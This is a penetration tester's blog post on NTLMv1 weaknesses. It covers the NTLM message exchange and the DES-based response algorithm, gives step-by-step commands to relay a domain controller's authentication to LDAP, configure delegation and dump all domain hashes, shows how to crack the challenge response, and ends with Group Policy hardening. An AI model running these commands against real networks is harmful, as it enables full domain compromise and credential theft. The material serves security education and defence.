NTLMv1 Protocol Weaknesses and Attacks

2024-05-24

Before getting into any details let me first link the NTLM specification which you can read should you desire further technical detail.

NTLM version 1. Disabled by default from Windows Server 2008 onwards, this authentication protocol is ancient in computing terms but still concerningly present. I have personally seen domain controllers sending out NTLMv1 connections on 5 separate pentests in the last 18 months! Let me be clear on that point - domain controllers by default accept incoming NTLMv1 connections to support older devices, but that is not what I'm talking about. I have seen domain controllers themselves using NTLMv1 when authenticating to my attacking device. Disaster.

I won't be going over step by step how to induce/capture an NTLMv1 authentication, this blog post is instead focused on the challenge response message itself, how it is calculated, the inherent weaknesses of the NTLMv1 protocol and what it means for us as attackers. In just a few words though: use something like Coercer.

NTLM Authentication Messages

Using Wireshark while coercing a connection using the NTLM authentication protocol allows us to see the sequence of packets sent between the client (domain controller DC01 at 10.160.0.11) and server (attacker-controlled machine at 10.160.0.4).

NTLM authentication in Wireshark

As we can see, NTLM authentication (both v1 and v2) takes place over a sequence of three messages:

  1. The client sends a NEGOTIATE_MESSAGE packet to the server, most of which is not relevant to the content of this blog post. However, it does include a 4 byte NegotiateFlags structure where each bit represents an option that the client does or does not support.
  2. The server responds with a CHALLENGE_MESSAGE. This contains the server's own NegotiateFlags structure, but also an NTLM Server Challenge field. In legitimate connections this challenge is a randomly generated 8 byte sequence, but Responder allows you to set a static challenge in the configuration file if you wish, and it can be beneficial to set this to 1122334455667788 (we'll look at why later).
  3. The client then sends the server an AUTHENTICATE_MESSAGE containing client identifying information and the challenge response data which is the primary focus of this blog post.

opsec consideration: Issuing a static challenge from your server, especially one as recognisable as 1122334455667788 is probably going to be picked up quite easily by a mature monitoring team.

NegotiateFlags

I'm not going to spend much time on the NEGOTIATE or CHALLENGE messages, but will draw some attention to one particular bit inside the NegotiateFlags structure.

NTLM NegotiateFlags

As you can see, the 13th bit reveals if the client/server is willing to use Extended Session Security (ESS). Importantly, ESS is only used when both parties agree so we can avoid it by telling our server not to set the relevant bit in the NegotiateFlags structure. This is what the --disable-ess flag in Responder does.

NTLM AUTHENTICATE_MESSAGE

This is the one that you'll probably be most familiar with if you've used Responder at all. Below I have included example responses with and without Extended Session Security. The same account is coerced into authenticating both times, and the password of the account is not changed.

Without ESS

NTLM without ESS

With a static challenge the response for any given password will be the same every time. This is because the only randomness in the algorithm is the server challenge, which is supposed to change each connection. If we force it to stay the same there is no entropy.

Notice also that the LmChallengeResponse and NtChallengeResponse are the same. Why? In the scenario when the ESS bit is not set and the client does not support LM authentication (modern versions of Windows do not) the LMChallengeResponse is explicitly set to equal the NtChallengeResponse.

With ESS

NTLM with ESS

Ahh, things have changed. Scary! What has happened? The answer is quite simple; due to the client and server agreeing to use Extended Session Security another component has been introduced into the algorithm; the client challenge. Now when calculating its response the client generates its own 8 byte random value and uses it alongside the server challenge.

Well how can the server verify the challenge response is correct then, you may ask. This is why the LmChallengeResponse looks funny now. Those first 16 characters before all the 0s are the client challenge. Thus the server (in legitimate operations) can forward the username, server challenge and client response to a domain controller which will then do its own calculations (since it knows the user's password) and confirm/deny the validity of the client's NtChallengeResponse.

ESS LmChallenge

So why is ESS a thing, what purpose does the client challenge serve and why might we as hackers want to prevent it? ESS introduces additional entropy which is outside of our control, we could coerce an NTLMv1 authentication from the same account 1000 times and get a different response every time. Whether this matters or not depends on what we want to do with the response.

Alright, so hopefully this high level look at the NTLMv1 protocol has provided a little bit of clarity - even if it just helps answer the question of "do I need to use the --disable-ess flag when running responder?"

NTLMv1 Weakness #1 - Relaying

In most environments if you are able to reliably receive an NTLMv1 authentication from a domain controller this can be quite straightforward to turn into a full domain compromise through a cross protocol relay attack, specifically SMB -> LDAP.

Relying NTLM authentication from SMB to LDAP isn't meant to be possible. Generally the SMB client will request signing, resulting in the relay target server using LDAP signing breaking the relay. This signing request can't be removed because the AUTHENTICATE_MESSAGE contains a Message Integrity Code (MIC) which is a message signature used to verfiy that it has not been tampered with.

Researchers from CrowdStrike in 2019 discovered that by changing some other attributes of the message however, this MIC could be removed (CVE-2019-1040). This enabled modification of the bits signifying the request for signing, enabling various NTLM relay attacks until it was patched by Microsoft. Since that patch, servers are less naive and properly verify the MIC, preventing relaying of NTLMv2 auth from SMB to other protocols that support signing.

Relaying of NTLMv1 remains unaffected by the patch though! Why? Even though if you inspect an NTLMv1 AUTHENTICATE_MESSAGE you will see a MIC, this is simply because the structure of the NTLMSSP message requires it - it isn't actually used in NTLMv1. Therefore we are free to remove the signing request from the client's message. This is accomplished with the --remove-mic flag in impacket's ntlmrelayx.py.

The name --remove-mic is a bit of a simplification. If we view the source code we see what this option actually does.

  1. Set the following bits in the NegotiateFlags structure to 0:
    • Negotiate Sign
    • Negotiate Always Sign
    • Negotiate Key Exchange
    • Negotiate Version
  2. Set the MIC to an empty value
  3. Set the Version field to an empty value

So now you can understand why even though with NTLMv1 we don't care about the MIC part of the --remove-mic functionality, we still need it to unset the 'Negotiate Sign' and 'Negotiate Always Sign' bits, disabling signing.

Now we have covered why cross-protocol relaying of this older version of NTLM authentication is possible, let's touch on how this leads to a domain compromise.

A key characteristic of Computer accounts in Active Directory is that they are able to modify a limited subset of their own object's attributes. One of the attributes they are able to modify is msDS-AllowedToActOnBehalfOfOtherIdentity which is the attribute which specifies which other security principles in the domain are allowed to impersonate other users when connecting to the server, otherwise known as Resource-Based Constrained Delegation.

By authenticating as a computer object to LDAP, we can edit its msDS-AllowedToActOnBehalfOfOtherIdentity attribute to allow another object that we already control to impersonate other users. This lets us then impersonate an administrator when connecting to the victim computer. Obviously when the victim computer is a domain controller this is game over.

With all of the background understanding out the way, let's look at methods of exploitating it.

Option A: Relay to LDAP

Pre-requisites:

The third requirement is there because although ntlmrelayx can create a new computer account as part of an attack, doing this through LDAP requires either LDAPS or using Start-TLS after connecting with LDAP. Either way the relay target needs a certificate installed and at that point you might as well just go with option B.

From here onwards I will be referring to the victim domain controller as DC01 and the domain controller we will be relaying to as DC02.

The first thing we do is enumerate DC01's current msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Your chosen victim machine may already have some form of RBCD configured which we should restore after completing our attack. As a pentester you should always be aware of what your attacks do and how to clean up after them. I cannot overstate how important this is. We do not leave things in a more vulnerable state than we found them, and we do not break existing functionality if at all possible.

As a regular domain user we can use ldapsearch to fetch the current state of this attribute. sudo apt install ldap-utils if it isn't installed on your Linux box.

ldapsearch -H 'ldap://10.160.0.11' -D 'ted@corp.local' -w 'password' -b 'CN=DC01,OU=Domain Controllers,DC=corp,DC=local' -s base msDS-AllowedToActOnBehalfOfOtherIdentity
Using ldapsearch to query the victim's msDS-AllowedToActOnBehalfOfOtherIdentity attribute

If this line is missing from the output that is fine, it means the attribute is currently empty. If you do get a value back like above, copy the entire base64 string, remove the linebreaks and save it somewhere.

Next let's create a new computer object so we have one under our control where we know the password. By default domain users can join up to 10 machines to a domain so this often won't be a problem. If the environment is in a peculiar state where domain controllers use NTLMv1 but hardening has been applied to prevent users adding computers maybe send your client to a therapist and then move on to weakness #2 further on in this blog post.

addcomputer.py -computer-name 'REWKS01$' -dc-ip '10.160.0.11' corp.local/ted:password
Adding a new computer object using addcomputer.py

This works because in addition to supporting adding a new computer through LDAPS, addcomputer.py is able to add the new computer object through SAMR over SMB.

Set up ntlmrelayx.py ready to relay incoming connections to DC02, providing the account name of the computer object we just created. Don't forget to specify --remove-mic! Then use the authentication coercion tool of your choice to induce an authentication from the victim DC01. If all the requisite conditions are in place, you should see a message that RBCD has been configured successfully.

ntlmrelayx.py -t ldap://DC02.corp.local -smb2support --delegate-access --escalate-user 'REWKS01$' --remove-mic
Relaying authentication from a computer to modify its own RBCD attribute

Now that we have RBCD over DC01 we just follow the standard RBCD attack flow, using impacket's getST.py to impersonate a domain administrator and acquire a ticket for the cifs service on the victim DC01.

getST.py -spn cifs/DC01.corp.local -impersonate LabAdmin -dc-ip 10.160.0.11 corp.local/REWKS01\$:JapOjO1gKK7pW3VNfThn5KqO2TC7tgRA
Retrieving a cifs service ticket for an administrator using getST.py

Use impacket's secretsdump.py to perform a DC sync, replicating the directory and retrieving every account's NTLM hash and Kerberos keys.

KRB5CCNAME=LabAdmin@cifs_DC01.corp.local@CORP.LOCAL.ccache secretsdump.py -k -no-pass -outputfile CORP.local -just-dc corp.local/LabAdmin@DC01.corp.local
Dumping the domain's NTDS.dit database

After obtaining all the domain hashes we are equivalent to domain admin. Now we must restore the original msDS-AllowedToActOnBehalfOfOtherIdentity value.

RDP into a domain controller (crack a DA password, pass the hash, create your own DA, get a Kerberos ticket.. whatever works) and use PowerShell to restore the attribute. If it was originally empty this is very easy:

Set-ADComputer -Identity "DC01" -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

If the initial ldapsearch enumeration did return a value, restore it with the commands below. Remember to replace the base64 string with the one you saved earlier, and the distinguished name with that of your victim domain controller.

$victimDN = "CN=DC01,OU=Domain Controllers,DC=corp,DC=local"
$b64sddl = "AQAEgEAAAAAAAAAAAAAAABQAAAAEACwAAQAAAAAAJAD/AQ8AAQUAAAAAAAUVAAAADg+up3ZPd3KGFAGSVAQAAAECAAAAAAAFIAAAACACAAA="
$binData = [System.Convert]::FromBase64String($b64sddl)
$adsi = [ADSI]"LDAP://$victimDN"
$adsi.Put('msDS-AllowedToActOnBehalfOfOtherIdentity', $binData)
$adsi.SetInfo()
Restoring the original msDS-AllowedToActOnBehalfOfOtherIdentity value

If you want to print the msDS-AllowedToActOnBehalfOfOtherIdentity in human readable format like in the image above, you can use the script below.

param(
    [Parameter(Mandatory=$true)]
    [string]$ComputerName
)

$comp = Get-ADComputer -Identity $ComputerName -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
$sd = $comp.'msDS-AllowedToActOnBehalfOfOtherIdentity'

if (-not $sd) {
    Write-Host "No msDS-AllowedToActOnBehalfOfOtherIdentity property found on $ComputerName"
    return
}

$sddl = $sd.Sddl
$rawsd = New-Object System.Security.AccessControl.RawSecurityDescriptor $sddl

foreach ($ace in $rawsd.DiscretionaryAcl) {
    $sid = $ace.SecurityIdentifier
    try {
        $name = $sid.Translate([System.Security.Principal.NTAccount])
    } catch {
        $name = $sid.Value
    }
    $rights = [System.DirectoryServices.ActiveDirectoryRights]$ace.AccessMask
    $deleg = [PSCustomObject]@{
        Identity = $name
        Rights   = $rights
        RawMask  = $ace.AccessMask
        AceType  = $ace.AceType
    }

    $deleg | Format-List
}

Option B: Relay to LDAPS

Pre-requisites:

The attack in this scenario is nearly identical to option A so follow the steps above except we skip creating a new computer ourselves and we specify ldaps instead of ldap when running ntlmrelayx.

Relaying authentication from a computer to modify its own RBCD attribute

Bonus: Failing Attacks

Sorry, this isn't some super secret info on how to make the attacks work where the conditions aren't met. I'm just including screenshots of what the ntlmrelayx output looks like when proper protections are in place, preventing a successful relay. I think it is worth having for reference.

Relaying NTLMv1 to LDAP when LDAP Signing is required:

Relaying NTLMv1 to LDAPS when Channel Binding is set to 'Always':

NTLMv1 Weakness #2 - Cracking

Before looking at how to crack the challenge response it is in my opinion definitely worth taking a look at how the response is calculated to understand what makes it so weak.

"But rewwwwwks, I don't care. I just want to crack it!" I hear most of you say. Ok, just scroll past this next section.

NTLMv1 ALGORITHM

The good folk at Microsoft are kind enough to include on page 58 of the specification a pseudocode representation of the algorithm, which I will include for ease of reference here.

Define NTOWFv1(Passwd, User, UserDom) as 
    MD4(UNICODE(Passwd))
EndDefine

Define LMOWFv1(Passwd, User, UserDom) as 
    ConcatenationOf(DES(UpperCase(Passwd)[0..6], "KGS!@#$%"), DES(UpperCase(Passwd)[7..13], "KGS!@#$%"))
EndDefine

Set ResponseKeyNT to NTOWFv1(Passwd, User, UserDom)
Set ResponseKeyLM to LMOWFv1(Passwd, User, UserDom)

Define ComputeResponse(NegFlg, ResponseKeyNT, ResponseKeyLM, CHALLENGE_MESSAGE.ServerChallenge, ClientChallenge, Time, ServerName) as
    If (User is set to "" AND Passwd is set to "")
        -- Special case for anonymous authentication
        Set NtChallengeResponseLen to 0
        Set NtChallengeResponseMaxLen to 0
        Set NtChallengeResponseBufferOffset to 0
        Set LmChallengeResponse to Z(1)
    ElseIf (NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY flag is set in NegFlg)
        Set NtChallengeResponse to DESL(ResponseKeyNT, MD5(ConcatenationOf(CHALLENGE_MESSAGE.ServerChallenge, ClientChallenge))[0..7])
        Set LmChallengeResponse to ConcatenationOf{ClientChallenge, Z(16)}
    Else
        Set NtChallengeResponse to DESL(ResponseKeyNT, CHALLENGE_MESSAGE.ServerChallenge)
        If (NoLMResponseNTLMv1 is TRUE)
            Set LmChallengeResponse to NtChallengeResponse
        Else
            Set LmChallengeResponse to DESL(ResponseKeyLM, CHALLENGE_MESSAGE.ServerChallenge)
        EndIf
    EndIf
EndDefine

Set SessionBaseKey to MD4(NTOWF)

This pseudocode contains three function definitions:

In the ComputeResponse function definition we immediately find ourselves looking at a conditional. The first branch is not of interest, it is an outcome reserved for anonymous authentication so we skip over this to the second conditional which is where we find the case where both the client and server have the negotiate ESS flag set.

With ESS

Pseudocode ESS branch

Here the NtChallengeResponse is set to the output of some function DESL which has two inputs:

  1. ResponseKeyNT, which we saw in the full pseudocode is simply the user's NT hash (16 bytes).
  2. The first 8 bytes of the MD5 hash computed from the concatenated server and client challenges.

To see what the DESL function does, we can look to page 84 of the specification.

DESL definition

So the DESL function takes in a 16 byte Key (the user's NT hash) and an 8 byte bit of Data. It then splits the key into three shorter 7 byte keys and uses each of them to encrypt the same 8 byte data, using the very weak DES algorithm.

NT hash split into keys

Of course, 16 isn't actually divisible by 3. Microsoft solves this bit of problematic maths by concatenating those final 2 bytes of the NT hash with the output of yet another function, Z(5). This one is simple though, you'll see on page 86 in the spec that Z(N) returns an array of length N with all bytes initialised to 0. So in this instance it is adding five 0s onto the two leftover bytes to form a full 7 byte key.

Once all three keys have been used to encrypt the piece of data, the 8 byte output from each is concatenated and returned. This new 24 byte value is the NtChallengeResponse.

As discussed in section 1 of this blog post, when ESS is enabled the client needs to send the randomly generated client challenge to the server. In this section of code we see how the LmChallengeResponse is then set to the client challenge padded with Z(16) to reach the 24 byte length required.

Without ESS

Pseudocode non-ESS branch

When ESS has not been agreed a similar flow is taken, but instead of the data to be encrypted being calculated from the server and client challenges, it is just the server challenge without additional processing required. This is fed into the DESL function covered previously.

We also see that the LmChallengeResponse is set to match the NtChallengeResponse in cases where NoLMResponseNTLMv1 is true, which should be the case every time in the modern world. We'll ignore the final Else branch entirely for this reason.

Cracking the Challenge Response

If you read the above section you should hopefully see that cracking this is actually fairly straightforward in theory:

  1. Split the NtChallengeResponse into three 8 byte segments. These are the outputs from the DES algorithm.
  2. If ESS was enabled, concatenate the server and client challenges, run them through the MD5 hashing algorithm and take the first 8 bytes of the output. This is the data encrypted by the DES algorithms. If ESS wasn't enabled the data is just the server challenge.
  3. We now just brute-force the three DES keys that correspond to the three outputs. If you read the prior section you may recall the third key is significantly easier to recover due to us knowing 5 of the 7 bytes.

To actually do this, use ntlmv1-parse which will break down the challenge response and provide step-by-step instructions to complete the process.

./ntlmv1-parse --ntlmv1 'DC01$::corp:20AAB976EA6A01508E01CB484648A393F27BD8681663C60E:20AAB976EA6A01508E01CB484648A393F27BD8681663C60E:1122334455667788'
ntlmv1-parse output

With the Domain Controller's NT hash recovered, we can use impacket's secretsdump.py to perform a DC sync, replicating the directory and retrieving every account's NTLM hash and Kerberos keys.

secretsdump.py -outputfile CORP.local -just-dc -hashes ':1a79a4d60de6718e8e5b326e338ae533' corp.local/DC01\$@DC02.corp.local

Prevention

The primary method of preventing these attacks is to simply disable any domain machines using NTLMv1. The best method is enforcing this through the Default Domain and Default Domain Controller group policies.

  1. Navigate through Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options.
  2. Edit the "Network Security: LAN Manager authentication level" item to "Send NTLMv2 response only" or an even stricter level.
Editing the LmCompatibilityLevel in Group Policy

Signing and Channel Binding

Important: Before taking these actions I recommend thoroughly reading through various resources published by Microsoft or others on auditing LDAP signing/channel binding events to get an idea of which, if any, clients on your network are unable to utilise these security features. Hopefully this is none or a short list because all modern LDAP clients should be able to. Here is one Microsoft blog to get you started.

For further protection against all forms of relaying to LDAP, consider enforcing the use of signing and channel binding. I believe as of Windows Server 2025 signing is required by default but it is going to be a long time until that OS is widespread.

  1. Navigate through Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options.
  2. Edit the "Domain Controller: LDAP server signing requirements" item to "Required".
  3. Edit the "Domain Controller: LDAP server channel binding token requirements" item to "Always". Note: Setting this to "When supported" is easier for compatibility purposes but security-wise it is ineffective, clients can just choose not to use it.
Default Domain Controller group policy LDAP security settings